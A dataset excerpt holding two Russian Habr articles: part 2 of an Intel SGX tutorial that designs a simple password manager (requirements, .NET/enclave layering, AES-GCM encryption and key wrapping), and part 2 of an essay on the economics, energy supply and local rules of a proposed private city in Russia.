source
stringclasses 4
values | title
stringlengths 5
287
| keywords
stringlengths 6
1.23k
| summary
stringlengths 11
5.12k
⌀ | content
stringlengths 2
164k
⌀ | url
stringlengths 33
173
|
---|---|---|---|---|---|
habrahabr | Intel Software Guard Extensions, учебное руководство. Часть 2, устройство приложения | ['Software Guard Extensions'] | Вторая часть в серии учебных материалов по Intel Software Guard Extensions (Intel SGX) представляет собой общее описание приложения, которое мы будем разрабатывать: простой диспетчер паролей.... | Вторая часть в серии учебных материалов по Intel Software Guard Extensions (Intel SGX) представляет собой общее описание приложения, которое мы будем разрабатывать: простой диспетчер паролей. Поскольку мы создаем это приложение с нуля, то можно с самого начала предусмотреть использование Intel SGX. Это означает, что в дополнение к требованиям к приложению мы рассмотрим, каким образом требования для Intel SGX и общая архитектура приложения влияют друг на друга.
Прочтите первую часть или список всех опубликованных учебных материалов в статье Представляем серию учебных материалов, посвященных Intel Software Guard Extensions . Диспетчеры паролей — краткое описание
Пользователи, как правило, знают, что такое диспетчеры паролей и для чего они служат, но всегда полезно еще раз пройтись по общей информации перед тем, как заниматься подробностями устройства приложения.
Основные цели диспетчера паролей: Сокращение количества паролей, которые необходимо запоминать пользователю.
Предоставление конечным пользователям возможности создавать более стойкие пароли, чем они смогли бы придумать самостоятельно.
Повысить удобство использования разных паролей у каждой учетной записи.
Управление паролями — актуальная проблема для пользователей Интернета, и за несколько лет было предпринято несколько исследований, направленных на решение этой проблемы. В исследовании корпорации Майкрософт , опубликованном в 2007 году, — почти десять лет назад — указано, что у каждого пользователя было в среднем 25 учетных записей, для которых требовались пароли. Позже, в 2014 году, специалисты компании Dashlane подсчитали , что у их пользователей в США было в среднем по 130 учетных записей, а среднее количество учетных записей на каждого пользователя во всем мире составило около 90. Впрочем, на этом проблемы не кончаются: люди, как правило, крайне редко выбирают стойкие пароли , часто используют один и тот же пароль на множестве сайтов , что послужило причиной скандальных атак злоумышленников. Все эти проблемы обусловлены всего двумя основными факторами: во-первых, людям зачастую трудно запомнить стойкие пароли, устойчивые к взлому; во-вторых, если использовать не один пароль, а множество, то ситуация становится еще сложнее, поскольку теперь помимо собственно паролей необходимо также помнить, с какой учетной записью связан каждый пароль.
При использовании диспетчера паролей достаточно запомнить всего одну очень стойкую парольную фразу, чтобы получить доступ к базе данных паролей (хранилищу паролей). После входа в диспетчер паролей можно найти все сохраненные там пароли, скопировать и вставить их в поля проверки подлинности на нужных сайтах. Разумеется, главным уязвимым местом диспетчера паролей является база данных паролей: это излюбленная мишень злоумышленников, поскольку в ней хранятся все пароли пользователя. Поэтому база данных паролей шифруется с помощью стойких алгоритмов шифрования, а для расшифровки содержащихся в них данных используется главная парольная фраза пользователя.
Наша цель в этом учебном руководстве — создать простой диспетчер паролей, предоставляющий те же основные функции, что и аналогичные коммерческие продукты, соблюдая при этом рекомендации в области безопасности и используя эту программу в качестве упражнения, чтобы изучить Intel SGX. Этот учебный диспетчер паролей я решил назвать «Tutorial Password Manager с Intel Software Guard Extensions» (да, произнести непросто, зато название говорит само за себя). Эта программа не предназначена для использования в качестве коммерческого продукта и, безусловно, не будет содержать всех защитных механизмов, свойственных коммерческим решениям, но для обучения такой уровень подробностей и не требуется. Базовые требования к приложению
Базовые требования к приложению помогут ограничить область приложения, чтобы можно было сосредоточиться на интеграции Intel SGX, а не на тонкостях проектирования и разработки приложения. Напомню, перед нами не стоит задача создания коммерческого продукта: от программы Tutorial Password Manager с Intel SGX не требуется возможности запуска в множестве операционных систем или на всех возможных архитектурах ЦП. Требуется лишь некая действующая отправная точка.
Поэтому базовые требования к приложению таковы: Требования к решению и принципам работы
Приложение должно работать на всех платформах независимо от того, поддерживают ли они Intel SGX.
Требуется 64-разрядная версия Microsoft Windows Vista* или более поздней версии (для поддержки Intel SGX требуется 64-разрядная версия Windows 10 или более поздняя версия).
Требуется процессор Intel, поддерживающий технологию защиты данных Intel (Intel DPT) с безопасным ключом.
Приложение не должно опираться на сторонние библиотеки и служебные программы.
Первое требование может показаться странным, если учесть, что эта серия учебных материалов посвящена разработке приложений, использующих Intel SGX, но приложения, предназначенные для реального мира, должны предусматривать возможность установки на устаревших системах. Для некоторых приложений может быть целесообразно разрешить выполнение только на платформах, поддерживающих Intel SGX, но в Tutorial Password Manager мы выбрали более гибкий подход. Платформа, поддерживающая Intel SGX, получит более защищенную среду выполнения, но и на других платформах программа все равно будет работать. Такая модель использования вполне подходит для диспетчера паролей, поскольку пользователи могут синхронизировать свои пароли с другими, более старыми системами. Кроме того, это возможность научиться реализации двойных ветвей кода.
Второе требование предоставляет нам доступ к определенным алгоритмам шифрования в ветви кода без поддержки Intel SGX и к некоторым библиотекам, которые нам потребуются. Требование использования 64-разрядной операционной системы упрощает разработку приложения за счет доступа к 64-разрядным типам собственного кода. Кроме того, повышается скорость работы некоторых алгоритмов шифрования, оптимизированных для 64-разрядного кода.
Третье требование предоставляет нам доступ к инструкции RDRAND в ветви кода без поддержки Intel SGX. Это существенно упрощает генерацию случайных чисел и обеспечивает доступ к источнику с высокой энтропией. Системы, поддерживающие инструкцию RDSEED, смогут использовать ее. (Сведения об инструкциях RDRAND и RDSEED см. в руководстве по внедрению программного обеспечения генерации случайных чисел Intel ).
Четвертое требование поддерживает наивозможную краткость списка программного обеспечения, требуемого разработчику (и пользователю). Не требуется загружать и устанавливать никакие сторонние библиотеки, платформы, приложения и служебные программы. Впрочем, у этого требования есть не слишком приятный побочный эффект: если отказаться от сторонних платформ, то у нас остается всего четыре варианта создания пользовательского интерфейса. Вот эти варианты: API-интерфейсы Win32
Microsoft Foundation Classes (MFC)
Windows Presentation Foundation (WPF)
Windows Forms
Первые два варианта реализуются с помощью собственного/неуправляемого кода, а для двух последних вариантов требуется .NET*. Платформа пользовательского интерфейса
Мы разработаем графический пользовательский интерфейс для программы Tutorial Password Manager с помощью Windows Presentation Foundation на языке C#. Это решение следующим образом повлияет на наши требования: Требования к решению и принципам работы
Графический пользовательский интерфейс на базе WPF.
Microsoft .NET Framework 4.5.1 или более поздней версии.
Требуется 64-разрядная версия Microsoft Windows Vista* или более поздней версии (для поддержки Intel SGX требуется 64-разрядная версия Windows* 10 или более поздняя версия).
Требуется 64-разрядная версия Microsoft Windows Vista* с пакетом обновления 2 (SP2) или более поздней версии (для поддержки Intel SGX требуется 64-разрядная версия Windows* 10 или более поздняя версия).
Почему решено использовать WPF? Главным образом из-за того, что при этом упрощается проектирование пользовательского интерфейса и привносится нужный нам уровень сложности. В частности, поскольку интерфейс опирается на .NET Framework, мы получаем возможность обсудить смешение управляемого кода и, в частности, высокоуровневых языков с кодом анклава. Обратите внимание, что выбор WPF вместо Windows Forms был совершенно произвольным: наша среда работала бы и в том, и в другом случае.
Как вы, возможно, помните, анклавы должны быть написаны на собственном коде C или C++, а функции моста, взаимодействующего с анклавом, должны быть собственными функциями языка C (но не C++). И API-интерфейсы Win32, и MFC дают возможность разработки диспетчера паролей, используя полностью собственный код C/C++, но задачи по разработке, связанные с этими двумя методами, бесполезны для разработчиков, стремящихся изучить разработку приложений, использующих Intel SGX. Используя графический пользовательский интерфейс на основе управляемого кода, мы получим не только преимущества интегрированных средств разработки, но и возможность обсудить определенные вопросы, полезные для разработчиков приложений Intel SGX. Коротко говоря, вы здесь не для того, чтобы научиться использовать MFC или Win32, но вас может заинтересовать, как соединить .NET с анклавами.
Для связывания управляемого и неуправляемого кода мы будем использовать C++/CLI (то есть C++, измененный для Common Language Infrastructure). Это существенно упрощает упаковку данных и настолько удобно, что многие разработчики называют этот метод «IJW» (It Just Works — это просто работает). Рисунок 1. Минимальные структуры компонентов приложений Intel Software Guard Extensions для собственного кода и C#.
На рис. 1 показано влияние на минимальный состав компонентов приложения Intel SGX при переходе от собственного кода к C#. При использовании только собственного кода уровень приложения может напрямую взаимодействовать с DLL-библиотекой анклава, поскольку функции моста анклава можно встроить в исполняемый файл приложения. В смешанном приложении функции моста анклава потребуется выделить из блока управляемого кода, поскольку эти функции должны быть полностью собственным кодом. С другой стороны, приложение C# не может напрямую взаимодействовать с функциями моста, а в модели C++/CLI это означает, что нужно создать еще один промежуточный уровень: DLL-библиотеку, которая передает данные между управляемым приложением C# и DLL-библиотекой моста анклава, состоящей только из собственного кода. Требования к хранилищу паролей
В основе диспетчера паролей находится база данных паролей, которую мы также будем называть хранилищем паролей. Это зашифрованный файл, в котором будет содержаться информация об учетных записях и паролях конечного пользователя. Основные требования к нашему учебному приложению таковы: Требования к решению и принципам работы
Хранилище паролей должно быть переносимым.
Хранилище должно быть зашифровано при хранении.
Во всем шифровании необходимо использовать режим шифрования с проверкой подлинности.
Требование переносимости хранилища означает, что у нас должна быть возможность скопировать файл хранилища на другой компьютер и по-прежнему получить доступ к его содержимому независимо от того, поддерживает ли другой компьютер расширения Intel SGX. Другими словами, возможности пользователей должны быть одинаковыми: диспетчер паролей должен работать на любом компьютере (естественно, если оборудование и ОС соответствуют указанным требованиям к системе).
Шифрование хранилища при хранении означает, что файл хранилища должен быть зашифрован, когда он не находится в активном использовании. При этом хранилище должно быть зашифровано на диске (если бы не было требования переносимости, то требование шифрования можно было бы решить, используя функцию запечатывания в Intel SGX), и не должно находиться в расшифрованном виде в оперативной памяти дольше, чем необходимо.
Шифрование с проверкой подлинности гарантирует, что зашифрованное хранилище не было изменено после шифрования. Также благодаря этому мы получаем удобное средство проверки парольной фразы пользователя: если ключ расшифровки неверный, расшифровка выдаст отказ при проверке тега подлинности. В этом случае нам нет необходимости изучать расшифрованные данные, чтобы убедиться в их правильности. Пароли
Любая информация учетных записей является конфиденциальной по разным причинам, и не в последнюю очередь информация о том, на какие учетные записи и сайты можно направлять атаку, но пароли, пожалуй, являются самой важной информацией в хранилище. Знать, что именно нужно атаковать, конечно, хорошо, но если знать пароли, то атаковать вообще не потребуется, что гораздо лучше. Поэтому мы вводим дополнительные требования для паролей, находящихся в хранилище: Требования к решению и принципам работы
Пароли учетных записей должны быть зашифрованы внутри хранилища.
Расшифровка паролей учетных записей происходит только по требованию.
Это вложенное многоуровневое шифрование. Пароли всех учетных записей пользователя шифруются при помещении в хранилище, и само хранилище шифруется при записи на диск. Такой подход позволяет снизить уязвимость паролей после расшифровки хранилища. Целесообразно расшифровывать хранилище целиком, чтобы пользователь мог просматривать все свои учетные данные, но отображение всех паролей обычным текстом вряд ли допустимо.
Пароль учетной записи расшифровывается лишь в случае, когда пользователь этого требует. Благодаря этому ограничивается уязвимость пароля в оперативной памяти и на экране. Алгоритмы шифрования
Поскольку наши требования к шифрованию уже определены, пора выбрать определенные алгоритмы шифрования, и в этом отношении существующие требования к нашему приложению существенно ограничивают доступные варианты. Программа Tutorial Password Manager должна работать как на платформах, поддерживающих Intel SGX, так и без Intel SGX, при этом запрещено использовать сторонние библиотеки. Это означает, что необходимо выбрать алгоритм, размер ключа и размер тега подлинности, поддерживаемые и в API Windows CNG, и в доверенной библиотеке шифрования Intel SGX. На практике это означает, что в нашем распоряжении остается один-единственный возможный алгоритм: AES-GCM с 128-разрядным ключом. Это, пожалуй, не самый лучший режим шифрования для использования в приложении, особенно поскольку эффективная стойкость тега подлинности 128-разрядного GCM меньше 128 бит , но для наших целей этого будет достаточно. Помните: наша задача — создание не коммерческого продукта, а учебного пособия по использованию Intel SGX.
Выбор GCM влияет на другие характеристики шифрования в нашем приложении, в частности, на длину вектора инициализации (12 байт — оптимальное значение для этого алгоритма) и тега подлинности. Требования к решению и принципам работы
Алгоритм шифрования AES-GCM 128-разрядный ключ
128-разрядный тег проверки подлинности
Отсутствие дополнительных проверенных данных (AAD)
96-разрядные векторы инициализации (IV)
Ключи шифрования и проверка подлинности пользователей
После выбора алгоритма шифрования можно перейти к ключу шифрования и проверки подлинности пользователей. Как пользователь проходит проверку подлинности в диспетчере паролей, чтобы открыть свое хранилище?
Самый простой способ — формировать ключ шифрования напрямую из парольной фразы или пароля пользователя, используя функцию формирования ключа (KDF). Этот простой подход вполне работоспособен, но у него есть один существенный недостаток: если пользователь сменит пароль, то вместе с ним изменится и ключ шифрования. Вместо этого мы применим более распространенный подход и зашифруем ключ шифрования.
В этом случае первичный ключ шифрования формируется случайным образом на основе источника с высокой энтропией и никогда не меняется. Парольная фраза или пароль пользователя используется для формирования вторичного ключа шифрования, и этот вторичный ключ используется, чтобы зашифровать первичный ключ. У этого подхода есть ряд важных преимуществ: Данные не придется повторно шифровать при изменении пароля или парольной фразы пользователя.
Ключ шифрования никогда не изменяется, поэтому его можно, к примеру, записать на бумаге в шестнадцатеричном формате и хранить в физически безопасном месте. В этом случае данные можно будет расшифровать даже в случае, если пользователь забудет пароль. Поскольку ключ никогда не изменяется, его достаточно записать только один раз.
Теоретически можно предоставлять доступ к данным нескольким пользователям. Каждый пользователь зашифрует копию первичного ключа своей собственной парольной фразой.
Не все эти возможности важны для Tutorial Password Manager, но это разумная практика безопасности. Требования к решению и принципам работы
Ключ хранилища формируется инструкцией RDSEED или с помощью формы присвоения начального значения RDRAND в системах, не поддерживающих RDSEED.
Хранилище ключей шифруется с помощью главного ключа.
Главный ключ формируется из парольной фразы пользователя с помощью функции формирования ключа (KDF).
Функция KDF основана на алгоритме SHA-256.
Здесь первичный ключ называется ключом хранилища, а вторичный ключ, формируемый из парольной фразы пользователя, называется главным ключом. Пользователь проходит проверку подлинности, вводя свою парольную фразу, а диспетчер паролей формирует из нее главный ключ. Если главный ключ успешно расшифрует ключ хранилища, то пользователь проходит проверку и можно расшифровать хранилище. Если парольная фраза неверна, расшифровка ключа хранилища невозможна, что не позволяет расшифровать хранилище.
Последнее требование, касающееся создания функции формирования ключа на основе алгоритма SHA-256, обусловлено ограничением, проистекающим из необходимости использовать алгоритм хэширования, который поддерживается и в API Windows CNG, и в библиотеке шифрования Intel SGX. Сведения учетной записи
Последнее из основных требований касается того, что именно помещается в хранилище. В этом учебном руководстве мы пойдем по простому пути. На рис. 2 показан макет главного окна пользовательского интерфейса. Требования к решению и принципам работы
В хранилище будет находиться информация учетной записи, включающая следующее: Имя учетной записи/поставщика
URL-адрес учетной записи/поставщика
Идентификатор имени пользователя
Пароль проверки подлинности
В хранилище будет находиться фиксированное количество учетных записей.
Рисунок 2. Предварительный макет главного окна Tutorial Password Manager.
Последнее требование посвящено упрощению кода. Если зафиксировать количество учетных записей, находящихся в хранилище, можно легче определить верхнюю границу размера хранилища. Это будет важно при проектировании анклава. Разумеется, настоящие диспетчеры паролей лишены такой роскоши, но в учебном руководстве мы вполне можем себе это позволить. В дальнейших выпусках
В третьей части этого учебного руководства мы подробнее рассмотрим устройство приложения Tutorial Password Manager для Intel SGX. Мы определим секреты, решим, какие части приложения должны находиться внутри анклава, каким образом анклав будет взаимодействовать с основным приложением и как анклав влияет на объектную модель. Следите за новостями!
Прочтите первую часть учебного руководства этой серии, Расширения Intel Software Guard Extensions > Учебное руководство: часть 1, Intel SGX Foundation , или список всех опубликованных учебных материалов в статье Представляем серию учебных материалов, посвященных Intel Software Guard Extensions . | https://habrahabr.ru/company/intel/blog/317510/ |
habrahabr | Первый частный город в России. Часть 2 | ['город будущего', 'градостроительство', 'дизайн-город'] | Вводная часть: Дизайн российских городов, где он?
Первая часть статьи: Первый частный город в России, быть или не быть?
В прошлой статье мы обсудили что-же такое частный город, зачем он нужен... | Вводная часть: Дизайн российских городов, где он?
Первая часть статьи: Первый частный город в России, быть или не быть?
В прошлой статье мы обсудили что-же такое частный город, зачем он нужен России и затронули концепцию города. В этой статье поговорим об экономике города, технологиях и правовых основах. Правопорядок
В прошлой теме много вопросов было о безопасности и правопорядке. Чтобы сразу закрыть этот вопрос, отвечаю: законом РФ частные охранные предприятия сильно ограничены в правах. Т. е. частная прокуратура и суд недопустимы в частном городе, поэтому полиция, суды, служба судебных приставов, ГИБДД и т. д. будут государственными. Это данность. Экономика
Самая важная часть проекта — это экономика. Это то, чем будут интересоваться инвесторы в первую очередь. Здесь ниже я приведу свои просчеты и идеи.
Я разделил образование экономики города на 3 этапа: 1. Развитие туристического сектора
Давайте посмотрим на карту туристических потоков России:
Источники: поток в Краснодарский край и Крым .
На ней указаны смешанные потоки (авиа+ж/д+авто) в крупные туристические центры. Разместив город на пересечении этих потоков, мы получаем солидный доход в бюджет города.
Въезд в частный город будет платный (кроме жителей). При стоимость въезда 1000 рублей (в Москве в imax дороже сходить) и при миллионе туристов (5% от общего потока) получаем доход 1 млрд./год. Въезд станет платный когда в городе будет минимальная инфраструктура, изначально нужно просто привлечь первых посетителей.
Я учитываю только существующие потоки, при умелом маркетинге город сможет создавать свои потоки. Сюда могут приезжать из соседних регионов чтобы отдохнуть семьей.
Представим, что частный город построен. Едут первые туристы. Что дальше? Правильно: в город приходит малый и средний бизнес: кафе, рестораны, бары, банки. Бизнес подтягивает персонал. Появляются первые жители. Туризм необходим для «запуска двигателя города». Он поможет ему ожить и существовать в первое время. Тут нужно исходить из простой логики: поедете ли вы жить в пустой город, где нет привычной вам инфраструктуры? Маловероятно. Именно поэтому я предлагаю начать с туризма, а дальше можно создавать другие сектора экономики.
Ах, да, немаловажно, что туристы — это потенциальные жители города, для которых не нужна реклама. Они все увидят своими глазами.
Пройдет время и рост населения неминуемо начнет расти. Тогда появится новый источник дохода— налоги. 2. Налоговые сборы
Чтобы пополнять бюджет необходимо собирать дополнительные налоги с жителей и бизнеса помимо федеральных. Например, 2% с жителей и 5% c бизнеса.
Юридически это может выглядеть как абонентская плата за проживание на частной территории. В некоторых частных коттеджных поселках на территории РФ налог прячется в плате за коммунальные услуги. Интересный факт. В Иннополисе существуют особая экономическая зона с пониженными налоговыми ставками. В частном городе, направленном на развитие туризма тоже можно реализовать нечто подобное. Таким образом, повышенные налоги будут компенсироваться. 3. Наукоемкий сектор
Когда экономика встанет на ноги можно привлечь инвестиции уже для производства. Почему это не сделать с самого начала? Инвестиции в наукоемкий комплекс могут равняются или даже превышать стоимость строительства самого города. Работа в городе
Стоит начать с вопроса: почему мы все живем в тех или иных городах? Почему переезжаем?
На первом месте — размер зарплаты и наличие самой работы, на втором — комфорт проживания в городе. В доказательство можно привести северные регионы, в которых зарплаты выше среднего по стране, но жителей там не много. Никто не хочет жить в вечной зиме.
Лидерами по переселению уже давно являются Москва и Питер. Именно из-за высоких зарплат и умеренно комфортного климата. Но тут возникает вопрос: был бы Питер востребован у населения, если бы он был похож на Омск или Самару? Играет ли архитектура и инфраструктура важную роль в росте населения города? На мой взгляд, играет.
Поэтому упрощенная формула конкурентного города в России выглядит так: 50% наличие высокой зарплаты и работы, 20% — комфортный климат и 30% — архитектура и инфраструктура города. Какая работа будет в частном городе на первых этапах:
1) Крупная строительная сфера;
2) Бизнес в сфере недвижимости;
Если у нас образуется туристический город, то появится работа в следующих отраслях :
3) Гостиничный бизнес;
4) Торговый бизнес;
5) Ресторанный бизнес;
6) Сфера развлечений;
7) Часть сферы услуг;
Если 15 лет назад на этом могло все закончится, то сегодня мы живем в мире ИТ-технологий, которые позволяют работать в любой точке мира. Поэтому мы смело включаем сюда часть ИТ-сектора:
8) ИТ-сектор с удаленными сотрудниками (программисты, дизайнеры, менеджеры, аналитики и т. д.);
Если город растет дальше, то появится работа в других секторах :
9) Крупный ритейл;
10) Спорт (тренера, инструктора);
11) Образование;
12) Финансовые услуги;
13) Домашний бизнес;
14) Мелкое производство;
15) Сфера услуг вырастает во всем объеме (парикмахерские, салоны красоты, бытовые услуги и др.).
Мало ли это работы для небольшого города, например, на 100 тыс. жителей? Коммуникации 1. Электроэнергия Вариант 1. Существующая сеть.
При доступности административного ресурса мы можем подключиться к существующей сети региона, в котором будет находится город.
Если это вариант окажется во власти бюрократии и будет дорог, то можно посмотреть в сторону альтернативной энергетики. Вариант 2. Альтернативная энергетика.
Кто-то сейчас может плюнуть в монитор и сказать, что я несу полную чушь и что углеводороды еще лет 30 будут актуальны. Но давайте разберемся и посмотрим на факты и на мировой опыт. 1.1 Ветрогенерация
Приведу некоторые цитаты ( Источник ): Актуальные отраслевые экономико-статистические исследования декларируют рыночную конкурентоспособность возобновляемых источников энергии. Опубликованный в сентябре 2014 г. «Анализ приведенной стоимости энергии» инвестиционного банка Lazard показывает, что самым дешевым способом производства электроэнергии на сегодня обладает материковая ветроэнергетика. Приведенная стоимость производства электричества составляет здесь, по расчетам банка, $37–81/МВт ч, в то время как для газовой генерации – 61–87, а угольной – $66–151/МВт ч.
В феврале 2015 г. вышло исследование Международного агентства возобновляемой энергетики (IRENA) «Стоимость генерации в возобновляемой энергетике в 2014 г.», в соответствии с которым стоимость производства электричества в ряде секторов возобновляемой энергетики «равна или ниже стоимости генерации угольными, газовыми и дизельными электростанциями, даже без финансовой поддержки и при падающих ценах на нефть ». На прошедшем в декабре 2014 г. в ОАЭ тендере на строительство солнечной электростанции мощностью 200 МВт победил консорциум с ценовым предложением в размере $0,0584/кВт ч. Такая стоимость солнечного электричества конкурентоспособна с углеводородами даже при цене на нефть в $10/баррель и газ – $5/МБТЕ.
Чтобы до конца убить все сомнения, посмотрите ещё не ряд удивительных фактов: Ветрогенераторы смогут обеспечить Испанию энергией на 100%
Ветрогенераторы обеспечили Шотландию энергией на 106%
За 4 года Китай потратит на ветряную энергетику $102 млрд
Посмотрим на карту ветров России:
На юге видим красную зону, которая говорит нам о том, что ветрогенерация в этом регионе будет эффективна. А это именно то место, где я предлагаю строить новый город. 1.2 Солнечная энергия
Рынок солнечной энергетики тоже не стоит на месте. Ее стоимость очень сильно упала в последние годы.
При строительстве города встанет вопрос — чем покрывать крыши. Ответ дал этой осенью Илон Маск, когда представил новую разработку: черепицу с солнечными элементами .
Маск в презентации упомянул, что цена на Solar Roof будет соизмерима с обычной черепицей. Поэтому вопроса чем покрывать крышы домов в городе быть не должно.
Черепица с солнечными элементами в пятиэтажном доме не покроет все нужды, но если 2-3 квартиры будут обеспечены электроэнергией, то выгода для города и жителей на лицо.
Мощность панелей еще не объявлена, поэтому полную картину мы узнаем чуть позже, в 2017 году.
Карта солнечной инсоляции России:
Опять мы видим, что юг очередной раз выигрывает с точки зрения размещения там города.
Остальные коммуникации в спойлере, т. к. они традиционны и будут зависеть от конкретного местоположения города. Другие коммуникации Вода и канализация
Если рядом с рекой, то станция фильтрации, если реки нет, то скважина как это сделано в Иннополисе .
Канализация представляет классические очистные сооружения. Современные системы очистки могут канализационную воду очистить до питьевой. Отопление и газификация
Я объединил эти пункты, т. к. они взаимозависимы. Расположение города можно выбрать исходя из возможности подключиться к существующим сетям.
» Карта газоснобжения регионов
Есть ли другие варианты для автономного отопления? Оптоволокно
Подключение к существующим сетям. Средства сообщения
На то, где в итоге расположится город, повлияет и инфраструктура выбранного региона. Комфортным будет если аэропорт будет не дальше 100-150 км, и ж/д линия в пределах 10-20 км. Автодорога — это наименьшая проблема. В город может вести ответвление от федеральной трассы. Внутренние законы
Итак, чем же принципиально частный город будет отличаться от традиционных, кроме архитектуры и продуманной городской среды? Правильно — хорошими правилами. Без них он снова превратиться в то, что у нас уже есть сейчас. 1) Стандарты городской среды и безопасности дорожного движения
Совсем недавно я познакомился с Александром Мостовым , который со своей командой занимается переводом швейцарских стандартов TEDnorm и SNnorm. Что же это за стандарты?
Они регламентируют ливневая канализацию, обустройство дорог, освещение, подземные работы и многое другое. Почему именно Швейцарские? Дело в том, что Швейцария добилась не только очень высоких показателей безопасности на дорогах , но и качества городской среды в целом. Я взял подробный комментарий у Александра о необходимость внедрения швейцарских стандартов в России: Основная задача, которая сегодня стоит перед нами на пути к реконструкции старых и созданию новых городов, включает в себя две стратегические составляющие:
1) безусловная необходимость принципиально иных стандартов по дорогам и дорожному движению, архитектурно-строительных стандартов, а также для сопутствующей инженерии
2) принципиально иной подход к трансформации самого понятия город, создание стратегий пространственного планирования и развития транспортной системы с учетом идеи компактных городов, созданных или трансформированных сверхэффективных пространств для жизни людей
По стандартам мы сегодня находимся на этапе очень больших возможностей . Он подразумевает под собой реализуемую перспективу коренного перелома в этой сфере. Ситуация в мировой науке и возможности открытой информации позволяют оценить опыт развития стандартизации в различных странах и что очень важно результат их внедрения. Так сложилось, что сегодня наши стандарты находятся далеко за пределами современной логики развитых стран. Благодаря этому мы не в состоянии даже при благих намерениях совершить прорыв в качестве, произвести интенсификацию инфраструктуры, транспортного и строительно-архитектурного секторов. А, следовательно, идей эффективного градостроения и позиций интенсификации всего народного хозяйства.
Любопытен тот факт, что сегодня лидерами в данных сферах являются вовсе не те страны, которые мы привыкли считать наиболее развитыми и популярными.
Существует два типа развития:
1) интенсивный (дающий наибольшую производительность)
2) экстенсивный (направленный в сторону только количественного увеличения, а не в сторону улучшения качества)
Когда мы говорим об интенсивном типе, то стоит понимать, что по большому счёту США не относится к стране интенсивного типа развития . Вернее, относится лишь в выборочных примерах. Страны ЕС представляют лучший пример интенсивного типа развития, но лишь среди лидеров всего объединения. По большому счёту остальные страны так и не смогли перестроиться на рельсы интенсификации градостроения, инфраструктуры и сопутствующих инженерных систем. Рост интенсификации в странах лидерах ЕС сдерживается нагрузкой более слабых стран членов, а также предпосылками иного рода, в том числе внешними обременениями и весьма сложными внутренними процессами.
На этом фоне среди всех стран мира наиболее эффективную работу смогли наладить специалисты Швейцарии , что подтверждается не только огромной библиотекой регулярно обновляемых стандартов, но и конечным результатом в виде позиции страны в мировых рейтингах. Благодаря правильной стратегии развития народного хозяйства в сочетании с нейтральностью, независимостью и отсутствием отвлечения кадровых сил и материальных средств, в этой сфере удалось наладить безупречный конвейер. И что наиболее важно единую и открытую работу специалистов различных учреждений, в том числе государственных и частных, различных ведомств, министерств, муниципалитетов и регионов. Эта работа сегодня не имеет аналогов в мире, она характеризуется большой производительностью по всей стране вне зависимости от местной культуры, менталитета и языка, на котором говорят в том или ином регионе. Задействованы учебные заведения, КБ и НИИ.
Эта работа и сеть созданного сотрудничества не сиюминутна, а постоянна. Её результатом является создание двух основных библиотек Конфедерации SIAnorm и SNnorm .
1) Архитектурно-строительные стандарты SIAnorm разрабатываются обществом инженеров и архитекторов Швейцарии (SIA)
2) Cтандарты дорог и дорожного движения SNnorm разрабатываются Объединением дорожно-транспортных инженеров Швейцарии (VSS)
Сюда включается работа, направленная на актуализацию и обновление данных библиотек с учетом необходимости постоянного поддержания страны на самом пике прогресса.
Стандарты имеют ограниченный жизненный цикл, по окончанию которого обязательно выпускается новый суперстандарт (терминология встречающаяся в материалах швейцарский специалистов). То есть идет не скачкооразное развитие с промежутками отставания и деградации на годы и даже десятилетия, а плавное и позитивное развитие без шоковых последствий внедрения большого набора назревших и принципиально иных мероприятий и реформ.
Все это позволяет среди всех стран мира быть лидером во многих важнейших для жителей, экономики и всей страны рейтингах либо, как минимум, занимать прочные позиции в самой высокой категории.
Накопленный опыт работы в сфере сверхсовременной стандартизации и её тотальной эффективности на этапе внедрения в развитие городов, транспортную инфраструктуру, безопасность дорожного движения, архитектуру и строительство, привлекательность освоения земли и модернизацию городов в настоящее время имеет серьезный отрыв от аналогичного европейского и тем более американского.
Важное отличие от интенсивного пути, который мы наблюдаем на протяжении столетий в других странах Европы, в том, что швейцарский внедряется максимально однородно по всей территории страны.
В этом плане компактная страна является идеальным полигоном. Так как стандарты эффективно внедряются в регионах с различными климатическими, ландшафтными условиями, языками и различиями в менталитете, относительной неоднородностью уровня экономического развития.
Нет сомнения, что сегодня ЕС проводит важнейшие реформы, в том числе в пространственном планировании и защите окружающей среды, которые окажут максимальное и неотвратимое влияние на экономику не только региона, но и всего мира, в том числе СПЭ и стран третьего мира. Однако в ситуации с развитием городов пока не удается добиться желаемой однородности. В свою очередь в Швейцарии она достигнута, что доказывает максимальную жизнеспособность и живучесть стандартов и идей, внедряемых специалистами Конфедерации. Именно благодаря этому создаются условия, при которых вне зависимости от мировых кризисов удается привлекать в страну инвесторов, белых воротничков, платежеспособных и весьма обеспеченных туристов. В том числе привлекательностью и сверхэффективностью обеспечивается внушительный поток из России, включая бизнесменов, управленцев и их семей. Это результат создания и/или трансформации швейцарских городов, инфраструктуры и архитектуры для жизни. Даже среди обеспеченных категорий, желающих оказывается столько, что страна вынуждена вводить ограничения. Это вызывает жесткую реакцию и санкции со стороны ЕС.
Чтобы занять соответствующую позицию необходимо внедрять именно швейцарский опыт, в том числе стандарты дорог и дорожного движения SNnorm, а также архитектурно-строительные стандарты SIAnorm. В противном случае любой американский или рядовой европейский может нас отбросить еще дальше и создать некое комичное и нежизнеспособное подражательство из весьма неэффективных решений, во многом удобных для определенной и весьма экономически влиятельной части населения, но лишающих нас развития на десятки лет вперед. 2) Регламент парковки во дворах.
Многие российские дворы находятся в плачевном состоянии. Исторически повелось, что двор является парковкой. Мы уже давно не воспринимаем его как место, где можно погулять и провести время с друзьями. Двор сейчас — это проходное место, которое хочется побыстрее пройти, протискиваясь между припаркованными машинами, либо это место чтобы сесть в авто у входной двери в подъезд и уехать по делам.
Решение: делать парковки под домами. Это учтет и потребности автомобилистов и пешеходов, позволив использовать двор по назначению.
Во двор возможен въезд для спецтехники и малотоннажных грузовиков для переезда. 3) Правила размещения рекламы
Чтобы в городе не было визуального бардака необходимо регламентировать правила размещения рекламных материалов и атрибутики коммерческих объектов.
Визуальная культура в России находится на низком уровне, как и во всей Азии, например. Особенно это прослеживается в регионах. И ее невозможно в одночасье поменять. Сложно ожидать эстетики от условного Василия Ивановича, который делает дизайн наружной рекламы своей автомастерской в ворде.
Именно поэтому, город должен помогать малому бизнесу, у которого нет средств на дорогих дизайнеров, предоставляя ему готовое брендирование для тех или иных видов бизнеса.
Возьмем к примеру автомойку. В среднем по стране она выглядит так:
Чтобы такого не было, предпринимателям бесплатно будет предоставлен городской фирменный стиль для автомоек. Логотип, вид наружной рекламы, фирменный стиль и другое поможет Василию Ивановичу заняться делом и при этом не разрушая городскую эстетику.
Пример:
